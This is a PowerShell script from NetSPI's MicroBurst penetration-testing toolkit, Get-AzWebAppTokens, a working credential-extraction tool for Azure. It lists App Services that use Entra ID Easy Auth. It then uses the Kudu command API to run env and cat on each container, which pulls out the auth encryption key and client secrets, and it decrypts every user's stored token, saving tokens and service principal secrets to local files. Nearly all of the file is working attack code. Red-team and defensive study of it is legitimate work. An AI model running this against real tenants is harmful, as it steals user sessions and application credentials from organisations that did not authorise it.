Files
NetSPI-MicroBurst/Az/Get-AzWebAppTokens.ps1
2025-07-23 14:00:46 -07:00

376 lines
17 KiB
PowerShell

<#
File: Get-AzWebAppTokens.ps1
Author: Karl Fosaaen (@kfosaaen), NetSPI - 2025
Description: PowerShell function for extracting credentials from Azure App Services applications that have integrated Entra ID authentication.
Original Research: Abusing Delegated Permissions via Easy Auth by Cody Burkard - https://dazesecurity.io/blog/abusingEasyAuth
#>
function Get-AzWebAppTokens {
<#
.SYNOPSIS
Finds App Services with integrated Entra ID authentication enabled, and uses the Kudu API to run commands in the application and extract/decrypt tokens and App Registration credentials.
.DESCRIPTION
This function identifies Azure App Services within the current subscription that have integrated Entra ID authentication configured.
It prompts the user to select one or more of these applications via Out-GridView. For each selected application, it leverages the Kudu run command API to execute commands on the App Service container.
The script also retrieves service principal credentials and the WEBSITE_AUTH_ENCRYPTION_KEY for decryption. It functions with both Windows and Linux-based App Services applications,
locating the token stores at either C:\home\data\.auth\tokens or /home/data/.auth/tokens respectively.
The function outputs the service principal credentials to a local file (ServicePrincipals.txt) and writes the decrypted tokens to a local file named APPNAME-tokens.txt.
.PARAMETER Subscription
Subscription to use.
.EXAMPLE
Get-AzWebAppTokens -Verbose
VERBOSE: Logged In as kfosaaen@notatenant.com
VERBOSE: Enumerating Azure App Services Applications in the "TestEnvironment" Subscription
VERBOSE: Filtering for Applications with the Microsoft Identity Provider
VERBOSE: Found Microsoft Identity Provider on TestEnvironmentApplication
VERBOSE: Found Microsoft Identity Provider on extractiontest
VERBOSE: 2 potentially vulnerable applications identified
VERBOSE: Targeting the TestEnvironmentApplication application
VERBOSE: Reading token files from: /home/data/.auth/tokens
VERBOSE: Found 4 JSON files
VERBOSE: Decrypted token for Karl Fosaaen
VERBOSE: Decrypted token for Thomas Elling
VERBOSE: Decrypted token for Scott Sutherland
VERBOSE: Decrypted token for Eric Gruber
VERBOSE: Application tokens written to TestEnvironmentApplication-tokens.txt
VERBOSE: Completed extraction on the TestEnvironmentApplication application
VERBOSE: Targeting the extractiontest application
VERBOSE: Reading token files from: C:\home\data\.auth\tokens
VERBOSE: Found 2 JSON files
VERBOSE: Decrypted token for Karl Fosaaen
VERBOSE: Decrypted token for Joshua Murrell
VERBOSE: Application tokens written to extractiontest-tokens.txt
VERBOSE: Completed extraction on the extractiontest application
VERBOSE: Application credentials appended to ServicePrincipals.txt file
VERBOSE: Completed credential collection against selected apps in the "TestEnvironment" Subscription
.LINK
https://dazesecurity.io/blog/abusingEasyAuth
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="Subscription to use.")]
[string]$Subscription = ""
)
# Supresses the status/progress bars
$ProgressPreference = 'SilentlyContinue'
# Check to see if we're logged in
$LoginStatus = Get-AzContext
$accountName = ($LoginStatus.Account).Id
if ($LoginStatus.Account -eq $null){Write-Warning "No active login. Prompting for login."
try {Connect-AzAccount -ErrorAction Stop}
catch{Write-Warning "Login process failed."}
}
else{}
# Subscription name is technically required if one is not already set, list sub names if one is not provided "Get-AzSubscription"
if ($Subscription){
Select-AzSubscription -SubscriptionName $Subscription | Out-Null
}
else{
# List subscriptions, pipe out to gridview selection
Write-Verbose "Logged In as $accountName"
$Subscriptions = Get-AzSubscription -WarningAction SilentlyContinue
$subChoice = $Subscriptions | Out-GridView -Title "Select One or More Subscriptions" -PassThru
foreach ($sub in $subChoice) {Get-AzWebAppTokens -Subscription $sub}
return
}
$SubInfo = Get-AzSubscription -SubscriptionId $Subscription
# Helper function to fix base64 padding
function Fix-Base64Padding {
param([string]$Base64String)
if ([string]::IsNullOrEmpty($Base64String)) { return $Base64String }
# Remove any existing padding and whitespace
$cleanString = $Base64String.Trim().TrimEnd('=')
# Handle URL-safe base64
$cleanString = $cleanString.Replace('-', '+').Replace('_', '/')
# Remove any non-base64 characters except valid ones
$cleanString = $cleanString -replace '[^A-Za-z0-9+/]', ''
# Calculate how many padding characters we need
$paddingNeeded = (4 - ($cleanString.Length % 4)) % 4
# Add the padding
return $cleanString + ('=' * $paddingNeeded)
}
# Helper function to decrypt the token
function Decrypt-Token {
param(
[string]$EncryptedToken,
[string]$EncryptionKey
)
try {
# Fix base64 padding issues
$fixedToken = Fix-Base64Padding $EncryptedToken
# Decode the base64 to get binary data
$encryptedBytes = [System.Convert]::FromBase64String($fixedToken)
if ($encryptedBytes.Length -lt 16) {
Write-Warning "Encrypted data too short (less than 16 bytes for IV)"
return $null
}
$iv = $encryptedBytes[0..15]
$cipherText = $encryptedBytes[16..($encryptedBytes.Length - 1)]
$keyBytes = $null
if ($EncryptionKey.Length -eq 64 -and $EncryptionKey -match '^[0-9A-Fa-f]+$') {
$keyBytes = [byte[]]::new(32)
for ($i = 0; $i -lt 32; $i++) {
$keyBytes[$i] = [Convert]::ToByte($EncryptionKey.Substring($i * 2, 2), 16)
}
}
# Set up AES parameters
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $keyBytes
$aes.IV = $iv
$decryptor = $aes.CreateDecryptor()
$plainTextBytes = $decryptor.TransformFinalBlock($cipherText, 0, $cipherText.Length)
$plainText = [System.Text.Encoding]::UTF8.GetString($plainTextBytes)
$aes.Dispose()
return $plainText
}
catch {
Write-Warning "Failed to decrypt token: $_"
return $null
}
}
# Get access token for Azure Management API
try {
$mgmtAccessToken = Get-AzAccessToken -ResourceUrl "https://management.azure.com/"
if ($mgmtAccessToken.Token -is [System.Security.SecureString]) {
$ssPtr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($mgmtAccessToken.Token)
try {
$mgmtToken = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($ssPtr)
} finally {
[System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($ssPtr)
}
} else {
$mgmtToken = $mgmtAccessToken.Token
}
}
catch {
Write-Error "Could not get access token. Please ensure you are logged in via Connect-AzAccount. Error: $_"
return
}
$mgmtHeaders = @{ Authorization = "Bearer $mgmtToken" }
# Results table to store extracted credentials
$results = @()
# Find web apps with a Microsoft Identity Provider
Write-Verbose "Enumerating Azure App Services Applications in the `"$($SubInfo.Name)`" Subscription"
Write-Verbose "`tFiltering for Applications with the Microsoft Identity Provider"
$allWebApps = Get-AzWebApp
$webApps = @()
foreach ($app in $allWebApps) {
try {
$apiUrl = "https://management.azure.com$($app.Id)/Config/authsettings/list?api-version=2016-03-01"
$appConfig = (Invoke-WebRequest -Verbose:$false -Method Post -Uri $apiUrl -Headers $mgmtHeaders).Content | ConvertFrom-Json
if (-not [string]::IsNullOrEmpty($appConfig.properties.clientId)) {
Write-Verbose "`t`tFound Microsoft Identity Provider on $($app.Name)"
$webApps += $app
}
}
catch {
Write-Verbose "Error checking $($app.Name): $_"
}
}
if (-not $webApps) {
Write-Output "No App Services with Microsoft Identity Provider found in the `"$($SubInfo.Name)`" Subscription`n"
return
}
else{Write-Verbose "`t$($webApps.Count) potentially vulnerable applications identified"}
# Prompt user to select apps, showing only relevant columns
$selection = $webApps | Select-Object Name, ResourceGroup, Location, Kind | Out-GridView -PassThru -Title "Select App Services to target"
if (-not $selection) {
Write-Output "No applications selected."
return
}
# Get the full webapp objects for the selection
$selectedApps = $webApps | Where-Object { $_.Name -in $selection.Name }
foreach ($app in $selectedApps) {
Write-Verbose "`tTargeting the $($app.Name) application"
$kuduApiUrl = "https://$($app.EnabledHostNames | Where-Object {$_ -like "*.scm.*"})"
$kuduHeaders = @{
Authorization = "Bearer $mgmtToken"
}
# Determine OS and token path
$isLinuxApp = $app.Kind -like "*linux*"
$tokenStorePath = if ($isLinuxApp) { "/home/data/.auth/tokens" } else { "C:\home\data\.auth\tokens" }
# Commands to list and read token files
if ($isLinuxApp) {
$listCommand = "ls -la $tokenStorePath"
$readCommand = "cat $tokenStorePath/*.json"
} else {
$listCommand = "powershell -c `"Get-ChildItem -Path `"$tokenStorePath`" -Name`""
$readCommand = "powershell -c `"Get-Content -Path `"$tokenStorePath\*.json`" -Raw`""
}
# Kudu API command execution endpoint
$commandApiUrl = "$kuduApiUrl/api/command"
try {
# Get environment variables to find the decryption key and SP credentials
$envCommand = if ($isLinuxApp) { "env" } else { "cmd /c set" }
$envResponse = Invoke-RestMethod -Verbose:$false -Uri $commandApiUrl -Headers $kuduHeaders -Method Post -Body (@{ command = $envCommand } | ConvertTo-Json) -ContentType "application/json"
$encryptionKey = ($envResponse.Output -split '\n' | Where-Object { $_ -match "WEBSITE_AUTH_ENCRYPTION_KEY" }).Split('=')[1].Trim()
# Parse the specific credential values
$envLines = $envResponse.Output -split '\n'
$clientId = ($envLines | Where-Object { $_ -match "^(WEBSITE_AUTH_CLIENT_ID|APPSETTING_WEBSITE_AUTH_CLIENT_ID)=" } | Select-Object -First 1).Split('=')[1]
$clientSecret = ($envLines | Where-Object { $_ -match "^(APPSETTING_MICROSOFT_PROVIDER_AUTHENTICATION_SECRET|AUTH_CLIENT_SECRET)=" } | Select-Object -First 1).Split('=')[1]
$issuerUrl = ($envLines | Where-Object { $_ -match "^(WEBSITE_AUTH_OPENID_ISSUER|APPSETTING_WEBSITE_AUTH_OPENID_ISSUER)=" } | Select-Object -First 1).Split('=')[1]
# Extract tenant ID from issuer URL
$tenantId = if ($issuerUrl -match "([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})") { $matches[1] } else { "Not Found" }
# Add to results table
$results += [PSCustomObject]@{
AppName = $app.Name
ResourceGroup = $app.ResourceGroup
ClientId = $clientId
TenantId = $tenantId
ClientSecret = $clientSecret
}
# Get the token store content by reading all JSON files
Write-Verbose "`t`tReading token files from: $tokenStorePath"
# Clear jsonFiles and tokenStoreResponse variables - Covers multiple app loops
$jsonFiles = $null
$tokenStoreResponse = @{ Output = $null }
# Try reading files individually by getting the file list first
if ([string]::IsNullOrEmpty($tokenStoreResponse.Output)) {
$listResponse = Invoke-RestMethod -Verbose:$false -Uri $commandApiUrl -Headers $kuduHeaders -Method Post -Body (@{ command = $listCommand } | ConvertTo-Json) -ContentType "application/json"
# Extract JSON filenames from the listing - handle both Windows and Linux formats
if ($isLinuxApp) {
$jsonFiles = ($listResponse.Output -split '\n' | Where-Object { $_ -match '\.json$' } | ForEach-Object {
if ($_ -match '\s+([a-f0-9]+\.json)') { $matches[1] }
})
}
else{
$jsonFiles = $listResponse.Output -split '\n' | Where-Object { $_ -ne "" }
}
if ($jsonFiles) {
Write-Verbose "`t`t`tFound $($jsonFiles.Count) JSON files"
$allTokenContent = ""
foreach ($fileName in $jsonFiles) {
$fileCommand = if ($isLinuxApp) { "cat $tokenStorePath/$fileName" } else { "powershell -c `"Get-Content -Path `"$tokenStorePath\$fileName`" -Raw`"" }
$fileResponse = Invoke-RestMethod -Verbose:$false -Uri $commandApiUrl -Headers $kuduHeaders -Method Post -Body (@{ command = $fileCommand } | ConvertTo-Json) -ContentType "application/json"
$allTokenContent += $fileResponse.Output
}
$tokenStoreResponse = @{ Output = $allTokenContent }
} else {
Write-Warning "`t`tNo token files found in $tokenStorePath"
continue
}
}
# Process each individual token file and attempt decryption
$decryptedTokens = @()
foreach ($fileName in $jsonFiles) {
$fileCommand = if ($isLinuxApp) { "cat $tokenStorePath/$fileName" } else { "powershell -c `"Get-Content -Path `"$tokenStorePath\$fileName`" -Raw`"" }
$fileResponse = Invoke-RestMethod -Verbose:$false -Uri $commandApiUrl -Headers $kuduHeaders -Method Post -Body (@{ command = $fileCommand } | ConvertTo-Json) -ContentType "application/json"
try {
$tokenContent = $fileResponse.Output.Trim()
# Clean up escaped characters that might interfere with base64 decoding
$cleanedContent = $tokenContent -replace '\\\/', '/'
$tokenData = $cleanedContent | ConvertFrom-Json
# Check if this file has encrypted tokens
if ($tokenData.encrypted -eq $true -and $tokenData.tokens) {
# Process each token within the tokens object
foreach ($tokenProperty in $tokenData.tokens.PSObject.Properties) {
# Clean the base64 string of any remaining escaped characters
$cleanBase64 = $tokenProperty.Value -replace '\\\/', '/'
$decrypted = Decrypt-Token -EncryptedToken $cleanBase64 -EncryptionKey $encryptionKey
if ($decrypted) {
$decryptedTokens += "$decrypted"
$userDecrypted = ($decrypted | ConvertFrom-Json).user_id
Write-Verbose "`t`t`t`tDecrypted token for $userDecrypted"
}
else {
Write-Verbose "`t`t`tFailed to decrypt token: $($tokenProperty.Name) from $fileName"
}
}
}
else {
Write-Verbose "`t`tSkipping $fileName - not encrypted or no tokens object found"
}
}
catch {
Write-Verbose "`t`tFailed to process token file $fileName : $($_.Exception.Message)"
}
}
if ($decryptedTokens) {
$decryptedTokens | Out-File -FilePath "$(-join($app.Name,"-tokens.txt"))" -Append
Write-Verbose "`t`t`tApplication tokens written to $(-join($app.Name,"-tokens.txt"))"
}
else {
Write-Warning "`tNo tokens were successfully decrypted for $($app.Name)"
}
}
catch {
Write-Error "An error occurred while processing $($app.Name): $_"
}
Write-Verbose "`tCompleted extraction on the $($app.Name) application"
}
# Output results table to file
if ($results) {
$results | Out-File -FilePath "ServicePrincipals.txt" -Append
Write-Verbose "Application credentials appended to ServicePrincipals.txt"
}
Write-Verbose "Completed credential collection against selected apps in the `"$($SubInfo.Name)`" Subscription`n"
}